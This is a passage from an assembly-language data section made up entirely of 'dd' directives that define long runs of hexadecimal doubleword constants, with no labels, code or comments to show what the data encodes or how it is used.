4537BAB0h, 700EDC01h, 0FBECE035h, 900CC4F4h dd 8771D5Bh, 66E0AAB9h, 59729097h, 0B2285A12h, 6CF01042h dd 0DC0720EAh, 0E00D7D0h, 0C679FC21h, 0EA2BA4CCh, 0EC9C2847h dd 171F02FCh, 0DF5AA6Ch, 0DF147C44h, 40544E01h, 792A8E2Ch dd 5D06987Eh, 3C1C5603h, 2A70A491h, 19F4F135h, 51F9F8F5h dd 0F5442571h, 9997124Ah, 30A97EA8h, 0BD218184h, 0EC359D08h dd 70007B73h, 0E041D2A4h, 9298B3A7h, 7C6C2260h, 81639013h dd 2A803832h, 790B8C44h, 7A018C11h, 26C5CBA1h, 1447759Ch dd 28925B84h, 102D2778h, 40EFF0CAh, 11F788A4h, 2023F6F5h dd 0CAE89A22h, 300C0E2h, 935FB92Ah, 3C968653h, 8EB2B775h dd 0F4207761h, 18BE5145h, 0D1A287D9h, 3A8476CFh, 84149F6h dd 60781CACh, 89E10C88h, 8103FBC1h, 0E8F71C46h, 0F9317403h dd 6DE07F10h, 0D020E351h, 2C128697h, 90016B0h, 46E7D96Ch dd 35BFCD6h, 71DEFDBFh, 310052E3h, 0B369EC47h, 72CB81Fh dd 89AD83F0h, 381E51D1h, 31B9DD98h, 10F40D5Dh, 5FDCE074h dd 7AE5A606h, 0E2C16A65h, 0F25A88E2h, 0DD01A8F2h, 0D3F48AACh dd 3822CFFBh, 0CA585701h, 9E414816h, 6F005A61h, 0F8420777h dd 7C6302DBh, 0FDE6D4A2h, 0D1247884h, 7BF3D0h, 0E4871Bh dd 0E308D088h, 0C13C977Eh, 4A0D749h, 5A1833ABh, 9C6460D1h dd 87EDE211h, 8F7C4541h, 0E3A88310h, 0C70279F4h, 0D0261F88h dd 0EB23A531h, 0ED7D330Ah, 0DE91F458h, 0E9E20800h, 32D1D8DBh dd 217EF06h, 2AE0DDA5h, 1FF8770Bh, 845F60BCh, 0F4C8369h dd 0CC919B6Eh, 8B7A6C8Ch, 0F168186Dh, 0B30E020h, 5275CF8Eh dd 23D54F05h, 41BEC1A0h, 0CEAFB201h, 0C785476Ah, 0C601E1D4h dd 498E0B29h, 0DB304201h, 205A3B3Dh, 0C30A9CF8h, 4EF79090h dd 24E27124h, 63EFFE40h, 782200C2h, 9C03D4C0h, 93018A7Ah dd 0FB448F07h, 0AC5138ADh, 9C108463h, 70D474CDh, 826BC8FCh dd 8AD7025Bh, 918DC880h, 0A448CB81h, 0EF34C2E0h, 90928942h dd 71A23048h, 0B5C022DFh, 1D673A07h, 99803558h, 89A2EBh dd 91C32C5Ch, 0A3AA72EAh, 0FCF88E26h, 20014ABh, 0D6C27CF6h dd 0B84E0233h, 0DB78ED0Eh, 308CDF04h, 699C801Bh, 0CE40774Ch dd 0F431934Ah, 318081C1h, 5D5A5B32h, 4B13B0E8h, 0A4042FEFh dd 0E34B9B63h, 0C7B38C10h, 3B9A6C1Dh, 14685900h, 33283B8h dd 9C52BF65h, 71058473h, 0CDB636D7h, 78E055h, 623D8AABh dd 0C09117C2h, 5D6EFC29h, 958B9C8h, 14240091h, 5898A87Ch dd 9783128Ch, 0AEAC2151h, 289040F0h, 6492D521h, 0D4AA6A78h dd 93D07C10h, 60C1DD88h, 826C982h, 0E90087A6h, 8618EC53h dd 0D13D89h, 0E6DBA213h, 833CB48Ch, 91050F16h, 830E017h dd 0DD5561h, 9619BA66h, 0DFD27E72h, 0D2C9C01h, 4F265281h dd 85E1C11h, 0ACC80BF4h, 0B5892762h, 57F55890h, 897E8416h dd 80885C65h, 90460928h, 0BC907A87h, 0DD889575h, 70B1C0h dd 38D15E42h, 43F6F08Ch, 3A0B6B0Fh, 0A3A8C1C9h, 1BF46DE4h dd 6A9C195Ah, 58D64180h, 1E0FE8C8h, 84543AF2h, 0C8CDCAE6h dd 70B32092h, 20753614h, 3401720Fh, 0CC27AA2Ch, 12FB34A8h dd 919C807Eh, 1FF8BBE7h, 4E57D490h, 0A98FE90Fh, 83EC586h dd 0B91D8FF8h, 84439355h, 3CB718h, 928D3418h, 972608Eh dd 8070CB39h, 442BE358h, 0C1D33529h, 0D2503648h, 7A3C01A8h dd 836108B7h, 7900E01Eh, 100196A6h, 37594489h, 6360A4AAh dd 313C8F62h, 0D7D600FEh, 0B3256F6Ah, 18BF63E4h, 1EE02D31h dd 3D1E4E97h, 30207E52h, 0A569CE4Ch, 8CB82F6Eh, 703D3831h dd 79878E3Ch, 46D765A9h, 0CF60900Ch, 85B534A8h, 0B72C0F56h dd 49784C04h, 4D3C516Eh, 8E848986h, 0EA430064h, 7CB41BE3h dd 0AA6A18E9h, 0EF28E907h, 0E6A1D261h, 0F98DA4BEh, 0FC79BC41h dd 9501AF6Bh, 75ABEB6Ah, 3FC77C0h, 844A0134h, 0F73ED07h dd 442CE48Ah, 0C0587A50h, 5243FA80h, 3B22D4DCh, 4FE29326h dd 2980C01Eh, 0A0D2F060h, 0DC1E309Ah, 3864F141h, 0B7378100h dd 0BD63A4D6h, 169F826h, 426723D7h, 997C02A9h, 5C60C1B0h dd 2E40708Ah, 88A80E8h, 914C487Bh, 6118490Ah, 0F5844C58h dd 0C840C24Bh, 6112C98Fh, 0E3EF8302h, 0A58E8C04h, 68308690h dd 9128009h, 2BF6EA3Fh, 0D26E1C11h, 23BD7422h, 6100E64Ch dd 0F2017D11h, 1173B7Eh, 1F93C320h, 8C5136D0h, 410FCB39h dd 0FCA04561h, 21C64842h, 89DA1Eh, 46AE5B8Dh, 44330794h dd 18C35F28h, 11744D21h, 19E007DDh, 0D8043BAh, 4788Eh dd 0ABB626BEh, 8A1B8324h, 0B703B903h, 22CB25F9h, 0E43791F0h dd 0B183C1AAh, 0C900D727h, 1C332BAFh, 0CCE4BCE5h, 0C31A7D8h dd 0BB50B800h, 1ECEC993h, 1681C0DEh, 5D8DC8CCh, 46601000h dd 0D6652703h, 0F3E90921h, 34103FD5h, 90F715Ah, 615B2548h dd 0AD7737BBh, 0FD9ECh, 9C2640B2h, 4DB801FEh, 0BE56FC02h dd 46603CCEh, 214C43E0h, 4DAC0029h, 0CEC87634h, 6901A893h dd 0A8CB1FC0h, 9640108Ch, 0AF1D8319h, 8C004CFEh, 2C320D8Fh dd 0BC3E0047h, 585C2BD8h, 7F7E1FD6h, 809339C8h, 5C59C017h dd 25004F2Ah, 0D1D7CB66h, 5086863h, 0C51B9829h, 0EEA84047h dd 0B7FC3C5Eh, 1431C400h, 0E54478D7h, 1F47FCEh, 742794F3h dd 40DB6E43h, 23413158h, 0DD4C6A15h, 66011FCCh, 74CE3800h dd 0B8300277h, 9EF60085h, 534B4916h, 0E4000A08h, 0F1A2238h dd 5DE46ACh, 933F1D2Ah, 4D9C2139h, 0B7998056h, 8F38D907h dd 0C445187Ch, 0A364193Dh, 35F13000h, 0FD56E5E6h, 83AC1EB1h dd 7058DEE3h, 0F0542691h, 0D540920Fh, 0DB48034h, 63C580AAh dd 3AC4786Dh, 0BC6A5100h, 6F2EAEDDh, 0AFE6E3h, 45C5244h dd 4B1AAC74h, 0C83420FDh, 0D5E3F505h, 7C400907h, 75BE74B6h dd 9D5B00BDh, 0ED5C559Bh, 0EA3C1D89h, 905E8084h, 76F7744Fh dd 63E30049h, 0EB988353h dd 650210D5h, 0D90FD345h, 7C8A9D2h, 6410E5D8h, 48E49518h dd 0BD8024C3h, 0D36A7E2Dh, 0E7D0C006h, 540A958h, 0A7661157h dd 3AD0201Eh, 75082506h, 81E74BBFh, 88B9998h, 0C1C6D85Eh dd 2748D00h, 0E92EFDBFh, 21112C05h, 0AC89402Ch, 190F74A0h dd 0E0246332h, 0FB53E751h, 0ACFA80C3h, 0D559CC61h, 10222ABEh dd 0C9C43018h, 9700F6D4h, 98E8FE7Dh, 0C843EAh, 2F33925Eh dd 0E5AFC0B1h, 64302704h, 0C09155D6h, 1C625908h, 0C0CE871Ch dd 0EC2E7D3h, 6C0095BBh, 0AFFCB061h, 292C6885h, 6844FCEh dd 79404B36h, 82BC4A1h, 1987F168h, 33310CC0h, 0E916F61Eh dd 6EF0C68Ah, 153600A8h, 0BC5C5A4Ch, 8E077010h, 2BDED0E6h dd 0D464E970h, 317E0028h, 0A07B61Dh, 65E8F283h, 0BE0C25F0h dd 6941C42Ch, 0B9BB0034h, 0DAB4AF53h, 0D0294CC9h, 0C50AF0D8h dd 0EE80E8D4h, 0C3357119h, 19AD7B08h, 0B82DA49Fh, 0C158E3FAh dd 0DED81034h, 42D7B484h, 80405622h, 15609474h, 48590CCh dd 0D723C739h, 83488C9h, 39C04C74h, 0DA86C2F1h, 1DCE76CDh dd 83F251D0h, 0BCC9B532h, 0B0A47F98h, 0B6BF4D01h, 6F3F3572h dd 0EC8EE432h, 628E00D3h, 44EFC2B7h, 61289200h, 0AACD9753h dd 90147D83h, 5507200Ch, 802C4B5Ch, 6C3E2872h, 70755856h dd 0DCD6E50Ah, 17CD9170h, 2408B634h, 0D23D80E8h, 0CF1652F5h dd 9AB2850Eh, 8ACDE0D3h, 125DEA3Ch, 325BC82Ch, 0F4981D44h dd 44EACA42h, 1A19B200h, 0BD707274h, 2422002Ch, 3A6401A3h dd 70BB435h, 1854E752h, 0B9333124h, 0D69E80B8h, 3DDCE7C8h dd 7C53700h, 0F68F68EEh, 0D1E1C5A1h, 4E1CCCD2h, 2A032DB8h dd 8A28AA7Fh, 0D1E7A041h, 27F900F1h, 0F4A4177Eh, 46132182h dd 4C095F74h, 0D51413D3h, 0C1B5BC40h, 524F20h, 0CCB17AEEh dd 34B74C2Ah, 26C96605h, 3884074Bh, 0FCE90C8h, 0E4E6304Dh dd 1E32861Ch, 177491F7h, 184F5807h, 0BCD03928h, 2E5075h dd 5F6EE7F7h, 7A95B7A3h, 0D55065F7h, 663112BDh, 9E550098h dd 1DF9A598h, 290E6027h, 223226D8h, 69161208h, 0E710AB10h dd 0F0A646BDh, 0B9C5DF44h, 0D9380028h, 0B563DE76h, 516E3Bh dd 3ACBC281h, 1D03C21h, 6A897477h, 308EF44Dh, 51C2E344h dd 20D32D40h, 9A5A7F08h, 0F9C98206h, 19D1ADh, 0BA968C34h dd 0EA8DB6B9h, 0F9D3E205h, 10052CACh, 74C83F22h, 6BF6B4h dd 887AAECAh, 0BC0CF9B9h, 83CD3Fh, 69E3BF3Fh, 2E35DD95h dd 50884166h, 0F000B9FBh, 0C4426F7Eh, 3266A9A5h, 0CD70B7D6h dd 40AF1E22h, 9A470D1Ch, 1810F804h, 30CCA74Ch, 59C043C4h dd 87B88E0Ch, 0BA0A3F9Fh, 66D54880h, 9C193231h, 0F7F84AB0h dd 0A1FC431Ch, 89B8DB54h, 0F56010C1h, 597B694Bh, 383FA882h dd 0F4EA98A1h, 2FA4DCBFh, 3063C502h, 0C628442Ch, 594121C4h dd 10C55289h, 0B17000h, 45DDD883h, 448E61AEh, 892B9800h dd 1C4C316Bh, 82E31230h, 694C0B96h, 85B76010h, 80A0897Fh dd 0CE04B3BAh, 0D6E63108h, 147DF4A4h, 8C1F2C06h, 0C5446F80h dd 98B93261h, 312EBC11h, 2F406E08h, 8772F552h, 6BE56300h dd 8FACEBE0h, 0BFE402A7h, 54E91AC0h, 10E54469h, 3F8E2Ch dd 849A2129h, 8694EC8Dh, 0F8CC6C24h, 41AAA160h, 0AB4D03AFh dd 2B5FA7C7h, 0F8D22E0h, 0E0FB3F7Bh, 5C5C3CE7h, 0A0604AFCh dd 2D27110h, 5486F582h, 1844C3E3h, 8C0EFFFEh, 67C915BBh dd 69B0DFEAh, 0B93FCFA4h, 6726E0h, 0B1C93E72h, 79004948h dd 6DF942Fh, 0F0B66AA5h, 5BD358AAh, 40983F2Eh, 0AF6508CFh dd 0A4C29494h, 3C840FC4h, 320B25Bh, 964CB537h, 6285A13Bh dd 991AA030h, 4D3508D8h, 0B2628A4h, 0E6F13C18h, 49176253h dd 7882B9FAh, 9C66D9E7h, 0CF19BA09h, 0B7BB00F4h, 0EA328424h dd 0C01152F9h, 400CC524h, 0BC861E6Eh, 1AFA630Bh, 3A6C0427h dd 7C8A9840h, 4B00C7EEh, 0A7C80F0Ah, 2789EA5Eh, 0C0211E46h dd 0C80223B6h, 0E624730Eh, 0EB004058h, 0D5785B4Bh, 56EF8A6h dd 0FF9D7CDh, 0E7984512h, 925840BCh, 0C8283CB5h, 986690AAh dd 0FA417B00h, 0AE246FBAh, 0E56600D1h, 0AB4ED094h, 0D418D802h dd 15D09AB8h, 0B48682A9h, 5B0049A1h, 130D48E4h, 3CBCF12h dd 146F4DB9h, 60AFF36Dh, 962F57Dh, 1AB11116h, 0B08DE833h dd 48228763h, 0EB3FA426h, 9A31B9BAh, 8A160A8h, 0D6FA88C2h dd 0A6303E00h, 3426EB09h, 0D20206B0h, 0E9AC54E5h, 0D61C4050h dd 0DC975D00h, 98CB2072h, 0B22D00E4h, 0EEC2D8CEh, 0BA0E7B63h dd 0A130CDC6h, 0D21EA9FBh, 21EA2021h, 207D9211h, 0F32C50E4h dd 1E0C8047h, 0AD6905h, 6CAF6BBh, 62AB3FFEh, 0D2EB407Fh dd 42022079h, 0EAC6DBBAh, 0B6B46050h, 2C640762h, 49C03ED7h dd 0A00DC64h, 2501CC98h, 328F7FBh, 2F03A9BDh, 40C50EFAh dd 0F010B080h, 454A4E35h, 325F0444h, 68465022h, 0E6EB8D12h dd 0D9B5B804h, 0F2C090C0h, 44D498FCh, 80FFC52Ah, 4E33D31h dd 1853270h, 5F225363h, 2C71D124h, 74144024h, 7D677300h dd 0BA8B5EAFh, 639D001Eh, 3608CCD6h, 0C0A60196h, 0E3722C00h dd 0EED775E7h, 0B4AC03DAh, 0ADF1D909h, 0B85456E0h, 0E008402Ch dd 4C16A028h, 34211F89h, 0EC8AB31h, 0B9ECF5E3h, 2C5C3862h dd 0F1384018h, 0A1CFB22h, 0C8C9EA0Ch, 0BAB48565h, 85ACC48Ch dd 0D8413280h, 0C2F628h, 0ED8E2AA0h, 6252F74Fh, 98609102h dd 6EAC230Fh, 80EEE830h, 8AF0B533h, 249AC318h, 90BB638h dd 26B195BAh, 0B222E087h, 209CD90h, 0C44017CAh, 0EAE80038h dd 8A45D575h, 0BD04B851h, 0ADFA0D2Fh, 24E708B4h, 8030AA55h dd 0E0D9E409h, 4D34BA0Fh, 0B4C761AEh, 2E40D024h, 0D18087D6h dd 29B2F1E7h, 0B923099Ch, 0E6E0985Fh, 13249952h, 0B8E42040h dd 7D00FAD5h, 19182FF7h, 5299F6Eh, 217C55A6h, 2D748007h dd 0E104E45Eh, 2B82B774h, 0EEBC20A0h, 29A8B071h, 0F83CAEh dd 10016B19h, 93006D62h, 0B0CEB411h, 1C5D0CBEh, 0C1AAE9CAh dd 10E4049Fh, 6536D0B9h, 8C30495Ch, 71F912h, 2A0D9F9Dh dd 0BFCD99F0h, 85658004h, 90F7FCEAh, 0E1F19018h, 4484DD53h dd 0B80E373Ah, 0C00AC77Eh, 64938CEDh, 0CBD913FFh, 0C4C0C27Dh dd 10913461h, 24528CE4h, 2D8A087h, 3A53366Ah, 8A8048DBh dd 4DE8CBB8h, 0A60A005Eh, 74499CBCh, 0D609681Dh, 2FCA3FE2h dd 0B26420F8h, 279B174Ch, 0B41093B6h, 896C1E6h, 4167AB44h dd 39D8E661h, 24092674h, 5C07CE01h, 0E448211Dh, 20290086h dd 0ADF6A0E5h, 50009144h, 85D18798h, 0B8B995A9h, 0CE564470h dd 5490C009h, 10A8C857h, 407D4A66h, 4F4CB784h, 0E14F6338h dd 8F50004h, 49C07890h, 44BB0117h, 308D15B6h, 0BA6C7011h dd 9A0F91F0h, 26C0375h, 0E2D7D2D9h, 9E305174h, 13ACA610h dd 0D68C308Dh, 0EA2072E9h, 0E82307F3h, 57386BDAh, 0BE6AD0B5h dd 662907ACh, 0EE80BCA7h, 0E98228BDh, 77EA13FDh, 0FA50C808h dd 0CE78F51Eh, 0A1632B00h, 5F11Eh, 15466BC4h, 4D274071h dd 44693516h, 0F8246020h, 0B0CB8C4h, 0C822D87h, 0E026D891h dd 0E81232BEh, 540BB72Bh, 54448A50h, 10C900Fh, 1DF9B1A7h dd 813C8142h, 1E4C076Ch, 83F444F0h, 0A107FABBh, 14DE4921h dd 203B55D0h, 0CE7071h, 7F243F8h, 802F464Fh, 422E1800h dd 5D416E9Eh, 0D46B1DECh, 0C0C61E5Ch, 0AEEF4ABDh, 5B014C45h dd 3B9CE9E5h, 21804D32h, 391A1675h, 0E80036FEh, 4C840D4Fh dd 379E5E6h, 7FBC68EBh dd 59114BC9h, 287141C1h, 743860A4h, 478888AFh, 11538130h dd 366EFh, 0E254713Fh, 7FF0A5C2h, 2042C830h, 0BC5BFDh dd 845EEF41h, 7C8277B2h, 0CFCDBF07h, 9F60E3A4h, 1076F93h dd 54ECBCA3h, 60F256FCh, 6A24BBF1h, 3C06D5B3h, 75714CE0h dd 9689C01Ah, 0CBD0C056h, 0A99E3D00h, 0F6520F5h, 5A4E0006h dd 18B4732Ah, 0DDB0BDA6h, 0C8BB2300h, 0CF1E9A2Ch, 5854016Ah dd 0D2449F67h, 0C1AC4882h, 0F50394EEh, 0D73D799Ch, 832AE19Bh dd 208355DDh, 0EBDB1966h, 484E8007h, 2220DCCFh, 51479h dd 0B59B532Dh, 4E8A862Ch, 766082Ch, 5D301D19h, 380BEC0h dd 13FA6B2Fh, 781829D1h, 0A7215524h, 0E170B5CEh, 0D9928000h dd 9FE278B7h, 8E9C0B28h, 798C47BCh, 9A0A2FC8h, 0B4C4D14Ah dd 0BF893087h, 0C2548AC0h, 4C51C323h, 40ADD66Bh, 4495BB98h dd 78A8BC5Ch, 0C002AA5h, 0FB866281h, 0F34296h, 1D22D0B2h dd 8C66AD28h, 0BBC8BA01h, 19AFB18Ah, 0CB4030E3h, 2D484A79h dd 1E139103h, 0C826B5B1h, 720FF06Ch, 79DC06BCh, 912025D9h dd 0EB9F3Bh, 8B7E46C1h, 53BAC9h, 0A909AEC7h, 2E66D50h dd 0E0BCEC00h, 2ACE9B66h, 0D70E0085h, 877358E1h, 2C01727Ch dd 673A1565h, 0BC70AEE7h, 7D47184Dh, 0CAB91940h, 0D9536100h dd 12E7702Fh, 0EF96392Dh, 6E9CC300h, 1804F950h, 0F7FE2900h dd 4DE73B92h, 1865F03Ah, 49211666h, 0EF06FE11h, 14E31A2Ah dd 1C9B020h, 4A5CB050h, 0D31F7362h, 0E903397Ah, 2D6D9142h dd 8994B01Eh, 711F3772h, 5DBAB021h, 95E612F6h, 5944D601h dd 4BC1D7Bh, 2893AC00h, 0D56A78C0h, 3F8D0FBDh, 0D69C80B7h dd 0A5B040FBh, 97557E1Fh, 9110BC30h, 0DF9BCE7Ah, 0B9A21B39h dd 62F1EDE0h, 11711937h, 43FDD600h, 6E3900B1h, 0DDD5E06Dh dd 67585694h, 911A0196h, 78B088D1h, 0AA3B2E4h, 852301E2h dd 0D2FB0FC0h, 614F7206h, 0D6C10A01h, 8EE8BB39h, 7631C8h dd 1A2F191h, 5D07BCE5h, 81CFA001h, 3E176588h, 7C1A398Ch dd 0AA777891h, 25CFA300h, 21A461BDh, 7A140A89h, 8CF012F9h dd 5739177Dh, 34B02900h, 75889048h, 0A6DD01D3h, 614B97FBh dd 449D606Dh, 7860BFEEh, 79938561h, 0A9290C3h, 10623BC1h dd 46749DC4h, 11641C4Eh, 824DCF00h, 0AF3E02E2h, 7851D17h dd 95F640E1h, 67908101h, 600A789Dh, 9153039h, 686F9F04h dd 1C20B240h, 0FD9A71Dh, 208C417Bh, 2B645E81h, 50B9F5EAh dd 633C3AD0h, 660D1891h, 8C02E9BBh, 284207Bh, 0DF0093A7h dd 4C1D04Dh, 38073DF3h, 0AD861D50h, 519EABE9h, 2314FA16h dd 0EDD20907h, 0DE0410C9h, 0F62D01C9h, 0EE1DAC03h, 7B88826Ch dd 7D8388C3h, 40E4D641h, 22679444h, 2FC9950Eh, 37AB2682h dd 0DABF00E9h, 4FCB268Ah, 216E3F3h, 8D073BBDh, 71800CFDh dd 7708BFEh, 9B1AA1FCh, 0C97A0692h, 5045F101h, 0D1BF3E8h dd 32F360h, 0D60C385Ch, 7D22E9E1h, 868DD703h, 0C8651373h dd 0A83D7274h, 39689388h, 7E00B638h, 3BDACA9Bh, 0DF3EE385h dd 0EFC203D2h, 0D9DD73D4h, 0C9804963h, 31D0FC75h, 23607250h dd 0AC27F749h, 4B5B0703h, 8981C708h, 0C311C805h, 75839A3Bh dd 4DC8B100h, 4EEC952Fh, 7B020069h, 0F4624406h, 7E00F9E3h dd 437FAACh, 2899DD2Ah, 0F1C7419h, 9218DCF6h, 0FB80ED29h dd 0B1988016h, 36AE4A30h, 197E573h, 0F0BB6019h, 0DDCF77EDh dd 5418E79h, 0D966843Bh, 0D69B9680h, 0B78C040Bh, 8CB865B0h dd 4286E71Ch, 2230481Ch, 0D7380064h, 0EB7ACDF1h, 310F2008h dd 35922E7h, 22F5A1EFh, 89142550h, 0A8824E9h, 0F82AAB8Eh dd 2FD4A480h, 0F4491Ch, 0EEBE9359h, 0A8821DE2h, 0D303D00h dd 0F88DA286h, 8049D410h, 7E7D4B22h, 71A7AA03h, 0B80BFCEAh dd 4CDBBEDEh, 642824EFh, 0F7624418h, 0D748B20Eh, 0C0792FAAh dd 0E5BFEBE8h, 0DCF402A7h, 146F856Ch, 0F922D064h, 1375004Ah dd 0E552D6FFh, 0B209F682h, 18B8E99h, 0E1B8EA24h, 0F1107082h dd 606820C3h, 6201FC0Fh, 7426D397h, 3430E793h, 32448469h dd 982101F4h, 0DD5B193Bh, 0A046A037h, 1DE6A600h, 7DAEE2F7h dd 770B7B23h, 0CBD0ABC8h, 0B5413931h, 0A8B6D00h, 0C5E432E8h dd 1803C300h, 872726B2h, 7085007Dh, 52C70FBAh, 0CB1C9E6Fh dd 7E1099FBh, 5E382900h, 0B7D4516Eh, 340AE606h, 1DE8FF3Ch dd 981CD5Bh, 0E004964Fh, 0B966434Ch, 2C816526h, 120C0410h dd 761A4634h, 71C60061h, 0D13FE14Bh, 7F001277h, 5167E0FDh dd 27FBEEh, 0BAA73C2Ch, 19094C8Bh, 0F30F7CB1h, 70A283BDh dd 0FE80FCC4h, 97A7D7Ch, 196715EAh, 23F1EC90h, 0DF989903h dd 89817703h, 627270h, 609A3200h, 0C2D352B5h, 0B444C300h dd 0EF2AF7AFh, 66E50574h, 439EC77Dh, 47EBFCACh, 9F437A5h dd 0CE2F090h, 0D0D7E700h, 321F0E23h, 28BF98FAh, 0E94778Ah dd 3B7261E5h, 0AC51F27Fh, 0E3006C64h, 0F2BC0598h, 0A42557h dd 43D4D632h, 0F502A084h, 40992932h, 416E047Dh, 1E07BA78h dd 0E14C91D7h, 1C898C40h, 0BCB8A848h, 61DB005Bh, 1AF00CC9h dd 361DE1F9h, 8A80D6C4h, 62653992h, 0A55500C5h, 0E5494C48h dd 0C7377288h, 10699902h, 1CEEB744h, 0E733Dh, 2FCDABBDh dd 7D006274h, 23BAAFFDh, 412DC78h, 6F9084F4h, 0DB688102h dd 2025123Fh, 69335BE7h, 0C485F72Ch, 0A2002611h, 4B253C12h dd 0F0EF2A9Fh, 0E0C37423h, 0DC1E6606h, 641A4892h, 1C7D7190h dd 404B73C0h, 0F6DFFEDh, 943AF11Dh, 80A5828Ch, 0A1836F93h dd 1567A290h, 9FFA7200h, 40209491h, 0D15EDF03h, 0D112CEC4h dd 0C8962A13h, 0C8B4047Bh, 9497430Fh, 6448A470h, 667B6980h dd 4C9B8h, 3C80C5F9h, 0FF19958Dh, 261BA316h, 217AE10Fh dd 79BFBC93h, 0AEF19474h, 81050B44h, 7E05452Ch, 88F48595h dd 321E2D78h, 702CDB48h, 0D16D1B80h, 0C4F97D71h, 92C01589h dd 1A078A34h, 5C7D183Ch, 0AC184CFCh, 58062934h, 9A5C5Ch dd 0B73C8963h, 7EFB0D5Dh, 169604AFh, 861EA8DBh, 3A00A1A8h dd 36A49C47h, 5850AFDh, 7C975673h, 0E6A80527h, 0EB902007h dd 0E53D78A2h, 96BC9CA8h, 9813E78Ah, 98004791h, 20F28D9Fh dd 0E0506EBAh, 64449CD0h, 0AC991Ch, 77255D85h, 0A900C236h dd 86607BD5h, 14A05ABh, 31D2E582h, 0E726613Ch, 0E0AC3039h dd 2D324F89h, 815C3F42h, 75D81401h, 0E0DD4B7Bh, 78C8D42Bh dd 560119Dh, 398FFE3Ch, 843384C8h, 3D7744h, 0C4995809h dd 0AEC919C8h, 591CE716h, 0B442531Dh, 0C47D09D8h, 4630EF4h dd 49A7F545h, 88A27580h, 40917A3Ch, 0AF829A80h, 0C832A84h dd 0D5ECA6E4h, 4E53130Eh, 69860398h, 26F19694h, 2924F630h dd 85E50018h, 52A0D8E7h, 0C417662Ch, 60918B44h, 4024E914h dd 0C8A850E4h, 40D1D4AFh, 6D04F16Fh, 6C68C286h, 9785C50h dd 8561E409h, 59E406ECh, 979A1929h, 201C50EDh, 189A9967h dd 90722A45h, 0EBE5007Bh, 880D5A8Ah, 3517AAFBh, 5430E955h dd 98CA94DEh, 87F63EA0h, 0F87FC800h, 0D86DB3CCh, 16293E00h dd 1B6EE3A8h, 8050B99Ch, 6B270DCh, 9E1C59E7h, 0A4C003AAh dd 1165883Bh, 0FCA88B21h, 8C486607h, 4B022250h, 5F18407Dh dd 17C47E76h, 0F6575900h, 0BCCB367h, 0DD4150E4h, 33D7760h dd 7384D713h, 0EEA8889Ah, 41CCA893h, 1BB1829h, 9713E9ADh dd 116B2A5h, 4237B85h, 0C9F4C807h, 53DB42EDh, 0BBAFBCE0h dd 0E34F9309h, 9AB068ABh dd 6D7400E0h, 67029730h, 48F2F93Dh, 1041EC0Fh, 9C297F24h dd 20701C09h, 764EB60Ch, 41960002h, 0DA646AD7h, 7B2412FEh dd 85603813h, 1DAC69CEh, 6EE5710Eh, 0C42428F1h, 8C8F53EAh dd 571BFF34h, 0C2282D0Eh, 0DD0E08Dh, 401D8964h, 3E43BA3Ch dd 8780603Fh, 4CE83877h, 0A7662F40h, 908A3CD7h, 0F1844100h dd 4A5DCAA0h, 10489C4Ch, 7C4C3A1Dh, 5E2049C1h, 0A2F640F6h dd 0C0006A23h, 80F3B899h, 1FEFBC8Dh, 0FF658AB3h, 13C8285Ch dd 0C0747D94h, 55452D73h, 9D4B075h, 0A393FF51h, 81DD891h dd 0BEE800ACh, 0E0E6FE17h, 0A70F7498h, 2092F675h, 0E4DEF1F2h dd 0A240F088h, 70A482FCh, 0C2F8802Bh, 5C09FA3Bh, 31886805h dd 0C05D7944h, 64EC21Eh, 93016CC9h, 9C0F14CFh, 5C433E1Ch dd 12ED99DFh, 44DC11A8h, 0E5773C27h, 6837F9h, 8A4B0D28h dd 1F41C50Ch, 80975D09h, 1ABCCFF0h, 19306E30h, 6510814Ah dd 4C41EBB9h, 0AB0114E0h, 54BEE4D3h, 10F88E12h, 0CD7A8091h dd 62240432h, 0E33F0750h, 80742549h, 96ACEC1Ch, 1E842840h dd 80D94B2Bh, 0C7DEB011h, 997D74B7h, 2AAB4000h, 0C1F0A1A3h dd 42972CE4h, 2BEA6038h, 4C0F8235h, 0BA84F1h, 0D41E09C8h dd 41240578h, 830E287Ah, 7B4C5F4h, 7920E489h, 12D7F9CDh dd 90E63B9Ah, 0FA179424h, 5FEEB00h, 44218482h, 0DD60303Ch dd 819A75C9h, 0AF18312h, 1C885090h, 0F28B8846h, 8491ED0Bh dd 0E4540A5Dh, 971482BCh, 731545BCh, 0FA16A4h, 4F572DBCh dd 7904E873h, 701C10C1h, 42CD895Eh, 28976102h, 0A10DD3E0h dd 0C3CBBD04h, 0B8F41C3Ch, 85C200EEh, 7DCFA2A4h, 88014D87h dd 0D8DE65Fh, 6C22F83Ch, 0F2783Fh, 8C6715EDh, 7FD093B3h dd 0C856030Ch, 940D88Ah, 9A552E82h, 5DAB4482h, 0C6C008CBh dd 0E632804Bh, 0A1772886h, 0E21A0484h, 0C00424h, 0E10D2A2Ch dd 1D8C619Bh, 6880DC94h, 5274B8D5h, 37620173h, 8766E575h dd 7A14D0F1h, 5891F226h, 0CC1B5E4Eh, 0F892C539h, 87A08551h dd 327AD44Fh, 199AF420h, 0B2ACA87Fh, 59A900A2h, 4356ED1Fh dd 13132E3Dh, 6CD1840Eh, 821429F1h, 4611767Ch, 98782110h dd 0E571123Fh, 6C83C478h, 0E97900D7h, 9FBFA274h, 50B0910Bh dd 8154E054h, 0E02E1C24h, 2A288542h, 68912520h, 9E3081Eh dd 0A296ABE2h, 0C8C0A412h, 0EC09E113h, 1263DF73h, 7D3C83A4h dd 0B8390924h, 8155AA6Fh, 1AA19C11h, 2F00142Dh, 4D2D5A69h dd 0C00010E4h, 16EBD50Bh, 13738Ah, 429385E3h, 3D38AED3h dd 0DBB78917h, 82F6F841h, 883C8481h, 790E0780h, 0BC03EE20h dd 9512F71Fh, 0A130F84Ah, 387802DAh, 3950E7B7h, 0ACBB40A0h dd 0A1FE4CA0h, 703DCAE6h, 13D80279h, 0AF3CD9ABh, 33FC0D8h dd 9EB069BDh, 0BF8280A8h, 0E5742AD6h, 4E003AECh, 0CAE92097h dd 1838904h, 0AEFA78BEh, 0E118B192h, 80643873h, 0D2DA0EB7h dd 788B00A6h, 4F0FDCB3h, 0FA00AA9Fh, 1BF074Ch, 113B6795h dd 90AB85h, 0DACCC94Fh, 5A8941Bh, 9178A0E9h, 4358D28Ch dd 95363C40h, 8BA46100h, 3BD09A13h, 6ABB01A0h, 3F5E8D84h dd 74CC1465h, 3C62021Fh, 0E3100B85h, 1B003851h, 0DA751253h dd 81B70746h, 0E0BF6141h, 0F7196647h, 0E440795Ah, 6D99FA67h dd 40E3E0E5h, 5F0E0814h, 0A986C13Dh, 39C0907Dh, 0FC3800F2h dd 0BD117117h, 90988EECh, 